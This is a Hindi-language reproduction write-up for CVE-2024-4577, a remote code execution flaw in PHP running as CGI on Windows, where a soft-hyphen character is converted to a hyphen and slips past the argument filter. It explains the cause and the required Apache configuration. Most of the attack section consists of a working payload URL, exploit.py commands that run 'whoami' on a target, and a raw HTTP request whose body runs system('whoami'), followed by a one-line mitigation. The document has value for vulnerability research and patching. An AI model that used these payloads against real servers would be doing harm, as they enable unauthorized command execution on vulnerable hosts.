
CVE प्रजनन: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 विंडोज पर PHP के CGI कार्यान्वयन में एक गंभीर रिमोट कोड निष्पादन भेद्यता है। यह मूल CVE-2012-1823 के फिक्स को बायपास करता है, विंडोज "Best-Fit" कोड पेज रूपांतरण का उपयोग करके CGI क्वेरी स्ट्रिंग के माध्यम से कमांड-लाइन आर्गुमेंट्स को तस्करी करता है।
जब PHP एक CGI मॉड्यूल (php-cgi.exe) के रूप में चलता है, तो यह क्वेरी स्ट्रिंग को कमांड-लाइन आर्गुमेंट के रूप में पार्स करता है। CVE-2012-1823 के मूल फिक्स ने आर्गुमेंट इंजेक्शन को रोकने के लिए - (हाइफन, 0x2D) कैरेक्टर को ब्लॉक कर दिया था। हालांकि, कुछ कोड पेजों (जैसे चीनी, जापानी, कोरियाई) का उपयोग करने वाले विंडोज सिस्टम पर, "Best-Fit" कैरेक्टर मैपिंग सुविधा विशिष्ट यूनिकोड कैरेक्टर को उनके निकटतम ASCII समकक्षों में परिवर्तित करती है।
मुख्य बायपास सॉफ्ट-हाइफन कैरेक्टर (0xAD / U+00AD) का उपयोग करता है। जब कोई अनुरोध क्वेरी स्ट्रिंग में %AD पास करता है और सर्वर का लोकेल "Best-Fit" कोड पेज का उपयोग करता है, तो विंडोज आंतरिक रूप से को (हाइफन) में परिवर्तित करता है, जिससे हमलावर फिल्टर के बावजूद PHP आर्गुमेंट इंजेक्ट कर सकता है।
0xAD0x2Dउदाहरण: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input बन जाता है -d allow_url_include=1 -d auto_prepend_file=php://input
कॉन्फ़िगरेशन आवश्यकताएँ:
php-cgi.exe के साथ CGI के रूप में चल रहा होmod_cgi या mod_cgid के साथ कॉन्फ़िगर होScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
तैयार किया गया पेलोड क्वेरी स्ट्रिंग के माध्यम से PHP कॉन्फ़िगरेशन निर्देशों को इंजेक्ट करता है:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe के अनुरोधों को ब्लॉक करने के लिए IIS या Apache रीराइट नियम लागू करें